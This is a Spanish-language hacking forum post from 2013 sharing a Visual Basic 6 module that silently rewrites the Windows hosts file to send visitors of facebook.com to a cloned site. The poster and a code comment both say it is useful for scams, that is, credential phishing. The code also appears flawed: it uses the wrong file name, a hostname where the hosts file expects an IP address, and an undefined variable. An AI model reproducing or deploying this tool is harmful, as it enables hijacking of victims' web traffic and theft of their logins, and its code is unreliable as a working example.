send
Grupo de Telegram
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

HostEditModule by alexander1712

  • 0 Respuestas
  • 2511 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado alexander1712

  • *
  • Underc0der
  • Mensajes: 850
  • Actividad:
    0%
  • Reputación -2
    • Ver Perfil
    • El blog del programador
    • Email
« en: Enero 26, 2013, 02:58:38 am »
mirando en el baul de los recuerdos de mis codes, encontré este:

este es un modulo que nos permite hacer que al entrar a una web redirija a otra, sin mostrarnos un cambio de url, por ejemplo que al entrar a google carge infiernohacker pero siga diciendo "You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login"

nuevo proyecto exe standard, borramos el formulario principal, agregamos un modulo y pegamos este codigo:

Código: Visual Basic
  1. '###################################################################
  2. '
  3. '  ####  ####   ####   ####  ####    ##   ##     ## ##     ## #### ####
  4. '  #   # #   # #    # #      #   #  #  #  # #   # # # #   # # #    #   #
  5. '  #   # #   # #    # #      #   # #    # #  ###  # #  ###  # #    #   #
  6. '  ####  ####  #    # #  ##  ####  ###### #   #   # #   #   # #### #   #
  7. '  #     ##    #    # #    # ##    #    # #       # #       # #    #   #
  8. '  #     # #   #    # #    # # #   #    # #       # #       # #    #   #
  9. '  #     #  #   ####   ####  #  #  #    # #       # #       # #### ####
  10. '
  11. '  #####    ##    ##
  12. '  #    #    #    #
  13. '  #    #     #  #
  14. '  #####       ##
  15. '  #    #      ##
  16. '  #    #      ##
  17. '  #####      ####
  18. '
  19. ' ##    ##    #     ####  ##    ##  #####   #     ## #     ## #####  #     ##
  20. '  #    #    # #    #   #  #   #   #     #  ##    #  ##    #  #      ##    #
  21. '  #    #   #   #   #   #  #  #    #     #  # #   #  # #   #  #      # #   #
  22. '  ######   #####   ####   ###     #     #  #  #  #  #  #  #  #####  #  #  #
  23. '  #    #   #   #   ##     #  #    #     #  #   # #  #   # #  #      #   # #
  24. '  #    #   #   #   # #    #   #   #     #  #    ##  #    ##  #      #    ##
  25. ' ##    ## ##   ## ##  ## ##    ##  #####  ##     # ##     #  ##### ##     #
  26. '
  27. '#####################################################################
  28.  
  29. '###########################
  30. '#  HostEditModule         #
  31. '# programmed by harkonnen #
  32. '#    INFIERNOHACKER.COM   #
  33. '# (c) 2011                #
  34. '###########################
  35.  
  36. ' &&& detalles &&&
  37.  
  38. ' este modulo hace que al ingresar a una web desde un navegador que use el protocolo TCP/IP de windows, redirija hacia alguna otra web.
  39. ' para ello editaremos el archivo HOST de windows.
  40. ' ademas demostramos el uso de Environ para obtener el contenido de las variables de enotrno de CMD en este caso Windir
  41.  
  42. '########### constantes ########
  43. Const Initialpage1 = "facebook.com" 'pagina n° 1 a ser reemplazada
  44. 'Const initialpage2 = "hotmail.com"
  45. Const replacepage1 = "facebook.clonesweb.com" 'pagina n° 1 de reemplazo
  46. 'const replacepage2 = "hotmail.clonesweb.com"
  47.  
  48. Public Sub main() 'iniciamos programa
  49. Dim inmemory As String
  50. Dim alex As Long 'usaremos alex como una variable puntero (asi le digo yo)
  51. alex = FreeFile 'aclaramos que alex sera para libre archivo
  52.    Open winrut & "\system32\drivers\etc\host" For Input As #alex 'abrimos el archivo usando la variable alex
  53.        inmemory = Input(LOF(alex), #alex) 'cargamos en la variable inmemory lo que tenga ya el archivo
  54.    Close #alex 'cerramos e archivo que estaba habierto en la variable alex
  55. inmemory = inmemory & replacepage1 & "    " & Initialpage1 & vbCrLf 'agregamos la nueva redireccion
  56. 'inmemory = inmemory & replacepage2 & "    " & initialpage2 & vbCrLf ' la segunda redireccion
  57.    Open winrut & "\system32\drivers\etc\host" For Output As #alex 'cargamos de nuevo el archivo en la variable alex solo que esta ves para salida, borrando asi su contenido
  58.        Print #alex, inmemory 'ponemos el archivo modificado
  59.    Close #alex 'cerramos guardando todo.
  60. 'asi de simple, modificamos el archivo Host de windows XP para que al ingresar a una página redirija a otra. es bueno para scams y otras cosas...
  61. End Sub
  62.  

en el ejemplo reemplaza facebook.com por facebook.clonesweb.com xDDD sirve para scams  ::) ::) no se me hagan los lamercillos, es solo un ejemplo.

saludos!
« Última modificación: Mayo 12, 2014, 03:36:57 pm por Expermicid »

 

¿Te gustó el post? COMPARTILO!